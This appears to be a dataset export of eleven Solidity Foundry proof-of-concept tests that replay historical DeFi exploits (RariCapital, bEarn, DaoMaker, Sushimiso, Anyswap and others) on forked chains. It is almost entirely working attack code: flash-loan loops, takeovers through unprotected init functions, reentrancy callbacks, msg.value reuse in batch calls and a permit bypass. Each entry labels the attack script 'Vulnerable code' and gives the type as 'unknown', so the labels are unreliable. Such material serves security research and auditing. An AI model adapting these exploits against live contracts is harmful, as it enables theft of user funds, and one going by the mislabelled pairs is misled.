Farseen0/scar-pairs huggingface dataset:
HIGH severity: RariCapital exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

/*
    Attack tx: https://etherscan.com/tx/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be
    Tenderly.co: https://dashboard.tenderly.co/tx/mainnet/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be/
    Debug transaction: https://phalcon.blocksec.com/tx/eth/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be
    
    run: forge test --contracts ./src/test/RariCapital_exp.sol -vvv  */
interface Bank {
    function work(uint256 id, address goblin, uint256 loan, uint256 maxReturn, bytes calldata data) external payable;
}

contract ContractTest is Test {
    Bank vault = Bank(0x67B66C99D3Eb37Fa76Aa3Ed1ff33E8e39F0b9c7A);
    IERC20 fakeToken = IERC20(payable(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46));
    address attacker = address(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 12_394_009); //fork bsc at block 12394009
    }

    function testExploit() public {
        emit log_named_decimal_uint("[Start] ETH Balance of attacker", attacker.balance, 18);

        bytes memory data =
            hex"00000000000000000000000081796c4602b82054a727527cd16119807b8c7608000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000600000000000000000000000002f755e8980f0c2e81681d82cccd1a4bd5b4d5d4600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";

        cheats.startPrank(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233, 0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);
        (bool success, bytes memory result) = address(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46).call{
            value: 1_031_000_000_000_000_000_000
        }(abi.encodeWithSignature("donate()"));

        vault.work{value: 100_000_000}(
            0, 0x9EED7274Ea4b614ACC217e46727d377f7e6F9b24, 0, 100_000_000_000_000_000_000_000, data
        );

        emit log_named_decimal_uint("[End] ETH Balance of attacker", attacker.balance, 18);
    }
}


Vulnerability type: unknown
HIGH severity: ValueDefi exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

/*
    Attack tx: https://bscscan.com/tx/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006
    Tenderly.co: https://dashboard.tenderly.co/tx/bsc/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006/
    Debug transaction: https://phalcon.blocksec.com/tx/bsc/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006
    
    run: forge test --contracts ./src/test/ValueDefi_exp.sol -vvv  */

interface AlpacaWBNBVault {
    function work(
        uint256 id,
        address worker,
        uint256 principalAmount,
        uint256 loan,
        uint256 maxReturn,
        bytes calldata data
    ) external payable;
}

contract ContractTest is Test {
    AlpacaWBNBVault vault = AlpacaWBNBVault(0xd7D069493685A581d27824Fc46EdA46B7EfC0063);
    IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    IERC20 vSafeVaultWBNB = IERC20(payable(0xD4BBF439d3EAb5155Ca7c0537E583088fB4CFCe8));
    address attacker = address(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);
    address attackerContract = address(0x4269e4090FF9dFc99D8846eB0D42E67F01C3AC8b);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 7_223_029); //fork bsc at block 7223029
    }

    function testExploit() public {
        emit log_named_decimal_uint("[Start] WBNB Balance of attacker", wbnb.balanceOf(attacker), 18);

        bytes memory data =
            hex"000000000000000000000000e38ebfe8f314dcad61d5adcb29c1a26f41bed0be00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000060000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c0000000000000000000000004269e4090ff9dfc99d8846eb0d42e67f01c3ac8b0000000000000000000000000000000000000000000000000000000000000000";

        cheats.startPrank(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233, 0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);

        vault.work{value: 1 ether}(
            0,
            0x7Af938f0EFDD98Dc513109F6A7E85106D26E16c4,
            1_000_000_000_000_000_000,
            393_652_744_565_353_082_751_500,
            1_000_000_000_000_000_000_000_000,
            data
        );

        emit log_named_decimal_uint("[End] WBNB balance of attacker after exploit", wbnb.balanceOf(attacker), 18);

        emit log_named_decimal_uint(
            "[End] Attacker vSafeWBNB balance after exploit", vSafeVaultWBNB.balanceOf(attacker), 18
        );
    }
}


Vulnerability type: unknown
HIGH severity: bEarn exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 11M Attacker : https://bscscan.com/address/0x47f341d896b08daacb344d9021f955247e50d089 Attack Contract : https://bscscan.com/address/0xef39f14213714001456e2e89eddbdf8c850c3be6 Vulnerable Contract : https://bscscan.com/address/0xb390b07fcf766

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

import "../interface.sol";

// @KeyInfo - Total Lost : 11M
// Attacker : https://bscscan.com/address/0x47f341d896b08daacb344d9021f955247e50d089
// Attack Contract : https://bscscan.com/address/0xef39f14213714001456e2e89eddbdf8c850c3be6
// Vulnerable Contract : https://bscscan.com/address/0xb390b07fcf76678089cb12d8e615d5fe494b01fb
// Attack Tx : https://bscscan.com/tx/0x603b2bbe2a7d0877b22531735ff686a7caad866f6c0435c37b7b49e4bfd9a36c

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xb390b07fcf76678089cb12d8e615d5fe494b01fb#code

// @Analysis
// Post-mortem : https://bearndao.medium.com/bvaults-busd-alpaca-strategy-exploit-post-mortem-and-bearn-s-compensation-plan-b0b38c3b5540
// Twitter Guy :
// Hacking God :
pragma solidity ^0.8.0;

interface ICreamFi {
    function flashLoan(address receiver, uint256 amount, bytes calldata params) external;
    function getCash() external returns (uint256);
}

interface IBVault {
    function deposit(uint256 _pid, uint256 _wantAmt) external;
    function emergencyWithdraw(
        uint256 _pid
    ) external;
}

contract bEarn is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 7_457_124;

    address internal CreamFi = 0x2Bc4eb013DDee29D37920938B96d353171289B7C;
    address internal BUSD = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
    address internal bVault = 0xB390B07fcF76678089cb12d8E615d5Fe494b01Fb;

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = address(BUSD);
    }

    function testExploit() public balanceLog {
        //implement exploit code here
        address receiver = address(this);
        uint256 amount = ICreamFi(CreamFi).getCash();
        ICreamFi(CreamFi).flashLoan(receiver, amount, "1");
    }

    function executeOperation(address, address underlying, uint256 amount, uint256 fee, bytes memory) external {
        IERC20(BUSD).approve(bVault, type(uint256).max);

        for (uint256 i = 0; i < 10; i++) {
            IBVault(bVault).deposit(13, IERC20(underlying).balanceOf(address(this)) - 1);
            IBVault(bVault).emergencyWithdraw(13);
        }

        IERC20(BUSD).transfer(CreamFi, amount + fee);
    }
}


Vulnerability type: unknown
HIGH severity: 88mph exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    I88mph mphNFT = I88mph(0xF0b7DE03134857391d8D43Ed48e20EDF21461097);

    function setUp() public {
        cheats.createSelectFork("mainnet", 12_516_705); //fork mainnet at block 13715025
    }

    function testExploit() public {
        console.log("Before exploiting, NFT contract owner:", mphNFT.owner());
        /*
    The vulnerability was an unprotected init() function in the code of these specific pools
    function init() public {
        require(!initialized, "MPHToken: initialized");
        initialized = true;

        _transferOwnership(msg.sender);
    }

        */
        mphNFT.init(address(this), "0", "0"); // exploit here, change owner to this contract address
        console.log("After exploiting, NFT contract owner:", mphNFT.owner());
        console.log("NFT Owner of #1: ", mphNFT.ownerOf(1));
        mphNFT.burn(1); //burn the token 1
        cheats.expectRevert(bytes("ERC721: owner query for nonexistent token"));
        console.log("After burning: NFT Owner of #1: ", mphNFT.ownerOf(1)); // token burned, nonexistent token
        mphNFT.mint(address(this), 1); // mint a new token 1
        console.log("After exploiting: NFT Owner of #1: ", mphNFT.ownerOf(1)); // token 1 now owned by us
    }

    function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {
        return this.onERC721Received.selector;
    }
}


Vulnerability type: unknown
HIGH severity: XSURGE exploit (unknown). SPDX-License-Identifier: UNLICENSED !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./../interface.sol";

interface IpancakePair {
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;

    function token0() external view returns (address);

    function token1() external view returns (address);
}

interface Token {
    function balanceOf(
        address account
    ) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);
}

contract ContractTest is Test {
    IpancakePair ipancake = IpancakePair(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);
    WBNB wbnb = WBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Surge surge = Surge(0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21);
    address public constant Surge_Address = 0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21;
    address private constant Pancake_Pair_Address = 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0;
    address public mywallet = msg.sender;
    uint8 public time = 0;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 10_087_723); // fork bsc at block 10087723
    }

    function testExploit() public {
        payable(address(0)).transfer(address(this).balance);
        ipancake.swap(0, 10_000 * 1e18, address(this), "0x00");
        // wbnb.withdraw(wbnb.balanceOf(address(this)));
        // VISR_Balance =  visr.balanceOf(msg.sender);
        //emit log_named_uint("WBNB Balance",wbnb.balanceOf(address(this)));
        emit log_named_uint("Exploit completed, WBNB Balance", wbnb.balanceOf(mywallet));
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        wbnb.withdraw(wbnb.balanceOf(address(this)));

        (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40_000}("");

        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));

        wbnb.deposit{value: address(this).balance}();

        wbnb.transfer(Pancake_Pair_Address, 10_030 * 1e18);
        wbnb.transfer(mywallet, wbnb.balanceOf(address(this)));
    }

    receive() external payable {
        if (msg.sender == Surge_Address && time < 6) {
            (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40_000}("");

            time++;
        }
    }
}


Vulnerability type: unknown
HIGH severity: DaoMaker exploit (unknown). SPDX-License-Identifier: GPL-3.0

Vulnerable code:
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "./../interface.sol";
/*
    Attacker: 0x2708cace7b42302af26f1ab896111d87faeff92f
    Attack tx: https://etherscan.io/tx/0x96bf6bd14a81cf19939c0b966389daed778c3a9528a6c5dd7a4d980dec966388
    Affected contracts:
        0x6e70c88be1d5c2a4c0c8205764d01abe6a3d2e22 - emergencyExit with 13.5M CAPS
        0xd6c8dd834abeeefa7a663c1265ce840ca457b1ec - emergencyExit with 2.5M CPD, twice
        0xdd571023d95ff6ce5716bf112ccb752e86212167 - emergencyExit with 1.44M DERC
        0xa43b89d5e7951d410585360f6808133e8b919289 - emergencyExit with approx 20.6M SHO
    Root cause: They left the `init` function unprotected. The attacker re-initialized the contract with 
    malicious data and then called `emergencyExit` to get away with the funds.*/

interface DAOMaker {
    function init(uint256, uint256[] calldata, uint256[] calldata, address) external;
    function emergencyExit(
        address
    ) external;
}

contract ContractTest is Test {
    DAOMaker daomaker = DAOMaker(0x2FD602Ed1F8cb6DEaBA9BEDd560ffE772eb85940);
    IERC20 DERC = IERC20(0x9fa69536d1cda4A04cFB50688294de75B505a9aE);

    function setUp() public {
        vm.createSelectFork("mainnet", 13_155_320); // fork mainnet block number 13155320
    }

    function testExploit() public {
        uint256[] memory releasePeriods = new uint256[](1);
        releasePeriods[0] = 5_702_400;
        uint256[] memory releasePercents = new uint256[](1);
        releasePercents[0] = 10_000;

        emit log_named_decimal_uint("Before exploiting, Attacker DERC balance", DERC.balanceOf(address(this)), 18);

        // initialize to become contract owner
        daomaker.init(1_640_984_401, releasePeriods, releasePercents, 0x9fa69536d1cda4A04cFB50688294de75B505a9aE);

        // call emergencyExit to drain out the token.
        daomaker.emergencyExit(address(this));

        emit log_named_decimal_uint("After exploiting, Attacker DERC balance", DERC.balanceOf(address(this)), 18);
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: Nimbus exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface IERC20Custom {
    function transfer(address, uint256) external;
}

/*
    Vulnerable contract: https://etherscan.io/token/0xc0A6B8c534FaD86dF8FA1AbB17084A70F86EDDc1#code

    root cause: inconsistent value in the code, 10000 vs 1000.
    // scope for reserve{0,1}Adjusted, avoids stack too deep errors
    uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(15));
    uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(15));
    require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'Nimbus: K');*/
contract ContractTest is Test {
    address public pair = 0xc0A6B8c534FaD86dF8FA1AbB17084A70F86EDDc1;
    address public usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 13_225_516); //fork bsc at block 13225516
    }

    function testExploit() public {
        console.log("Before exploiting", IERC20(usdt).balanceOf(address(this)));

        uint256 amount = IERC20(usdt).balanceOf(pair) * 99 / 100;
        IUniswapV2Pair(pair).swap(amount, 0, address(this), abi.encodePacked(amount));

        console.log("After exploiting", IERC20(usdt).balanceOf(address(this)));
    }

    function NimbusCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        IERC20Custom(usdt).transfer(pair, amount0 / 10);
    }
}


Vulnerability type: unknown
HIGH severity: NowSwap exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface IERC20Custom {
    function transfer(address, uint256) external;
}

/*
    Vulnerable contract: https://etherscan.io/address/0xa14660a33cc608b902f5bb49c8213bd4c8a4f4ca#code unverified contract
    root cause: inconsistent value in the code, 10000 vs 1000.
    Attacker contract: 0x5676e585bf16387bc159fd4f82416434cda5f1a3*/
contract ContractTest is Test {
    address public pair = 0xA0Ff0e694275023f4986dC3CA12A6eb5D6056C62; //NWETH/NBU
    address public nbu = 0xEB58343b36C7528F23CAAe63a150240241310049;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 13_225_516); //fork bsc at block 13225516
    }

    function testExploit() public {
        console.log("Before exploiting", IERC20(nbu).balanceOf(address(this)));

        uint256 amount = IERC20(nbu).balanceOf(pair) * 99 / 100;

        IUniswapV2Pair(pair).swap(0, amount, address(this), abi.encodePacked(amount));

        console.log("After exploiting", IERC20(nbu).balanceOf(address(this)));
    }

    fallback() external {
        IERC20Custom(nbu).transfer(pair, IERC20(nbu).balanceOf(address(this)) / 10);
    }
}


Vulnerability type: unknown
HIGH severity: Sushimiso exploit (unknown). SPDX-License-Identifier: UNLICENSED !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./../interface.sol";

interface IDutchAuction {
    function commitEth(
        address payable _beneficiary,
        bool readAndAgreedToMarketParticipationAgreement
    ) external payable;

    function batch(
        bytes[] calldata calls,
        bool revertOnFail
    ) external payable returns (bool[] memory successes, bytes[] memory results);
}

contract ContractTest is Test {
    IDutchAuction DutchAuction = IDutchAuction(0x4c4564a1FE775D97297F9e3Dc2e762e0Ed5Dda0e);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    bytes[] public data;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 13_038_771); //fork mainnet at block 13038771
    }

    function testExploit() public {
        payable(address(0)).transfer(79_228_162_414_264_337_593_543_950_335);
        emit log_named_uint("Before exploit, ETH balance of attacker:", address(address(this)).balance);
        emit log_named_uint("Before exploit, ETH balance of DutchAuction:", address(DutchAuction).balance);
        bytes memory payload =
            abi.encodePacked(DutchAuction.commitEth.selector, uint256(uint160(address(this))), uint256(uint8(0x01)));
        data.push(payload);
        data.push(payload);
        data.push(payload);
        data.push(payload);
        data.push(payload);
        DutchAuction.batch{value: 100_000_000_000_000_000_000}(data, true);
        emit log_named_uint("After exploit, ETH balance of attacker:", address(address(this)).balance);
        emit log_named_uint("After exploit, ETH balance of DutchAuction:", address(DutchAuction).balance);
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: Visor exploit (unknown). SPDX-License-Identifier: UNLICENSED !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    IRewardsHypervisor irrewards = IRewardsHypervisor(0xC9f27A50f82571C1C8423A42970613b8dBDA14ef);
    IvVISR visr = IvVISR(0x3a84aD5d16aDBE566BAA6b3DafE39Db3D5E261E5);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 13_849_006); //fork mainnet at block 13849006
    }

    function testExploit() public {
        irrewards.deposit(100_000_000_000_000_000_000_000_000, address(this), msg.sender);
        // VISR_Balance =  visr.balanceOf(msg.sender);
        emit log_named_uint("Attacker VIST Balance", visr.balanceOf(msg.sender));
    }

    function owner() external returns (address) {
        return (address(this));
    }

    function delegatedTransferERC20(address token, address to, uint256 amount) external {}
}


Vulnerability type: unknown
HIGH severity: Anyswap exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    address WETH_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    AnyswapV4Router any = AnyswapV4Router(0x6b7a87899490EcE95443e979cA9485CBE7E71522);
    AnyswapV1ERC20 any20 = AnyswapV1ERC20(0x6b7a87899490EcE95443e979cA9485CBE7E71522);
    WETH weth = WETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    function setUp() public {
        cheats.createSelectFork("mainnet", 14_037_236); // fork mainnet block number 14037236
    }

    function testExample() public {
        //https://etherscan.io/tx/0xe50ed602bd916fc304d53c4fed236698b71691a95774ff0aeeb74b699c6227f7
        //    anySwapOutUnderlyingWithPermit(
        //     address from,
        //     address token,
        //     address to,
        //     uint amount,
        //     uint deadline,
        //     uint8 v,
        //     bytes32 r,
        //     bytes32 s,
        //     uint toChainID
        //   )
        any.anySwapOutUnderlyingWithPermit(
            0x3Ee505bA316879d246a8fD2b3d7eE63b51B44FAB,
            address(this),
            msg.sender,
            308_636_644_758_370_382_903,
            100_000_000_000_000_000_000,
            0,
            "0x",
            "0x",
            56
        );
        emit log_named_uint("Before exploit, WETH balance of attacker:", weth.balanceOf(msg.sender));
        weth.transfer(msg.sender, 308_636_644_758_370_382_901);
        //uint sender = weth.balanceOf(msg.sender);
        emit log_named_uint("After exploit, WETH balance of attacker:", weth.balanceOf(msg.sender));
    }

    function burn(address from, uint256 amount) external returns (bool) {
        amount;
        from;
        return true;
    }

    function depositVault(uint256 amount, address to) external returns (uint256) {
        amount;
        to;
        return 1;
    }

    function underlying() external view returns (address) {
        return WETH_Address;
    }
}


Vulnerability type: unknown